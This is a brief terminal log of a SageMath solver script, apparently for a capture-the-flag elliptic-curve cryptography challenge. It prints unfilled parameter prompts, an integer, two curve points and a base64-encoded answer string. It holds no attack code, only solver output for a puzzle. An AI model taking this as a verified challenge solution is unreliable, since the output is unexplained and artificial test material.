$ sage solve.sage < input.txt n = A = B = s = r = Gx = Gy = Hx = Hy = 424593574 (36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1) (36535005912363951569395229252023975236 : 89356155907162977128118658100989956716 : 1) ODYwNTA1Mzg2ODY1NjI2NjQ5Njc3MzY2OTM2MjcxMDA4MjMzMDkyODkyNDM1NzI0NzI2Mzk5MTA0NDI5NjI3NzIzMjQxMDgzMDQ1NXwxOTg0OTYzMzk0NDExMTI3OTAwMzEyNDc1Njc1MzE5MDQzNjk4Nzk=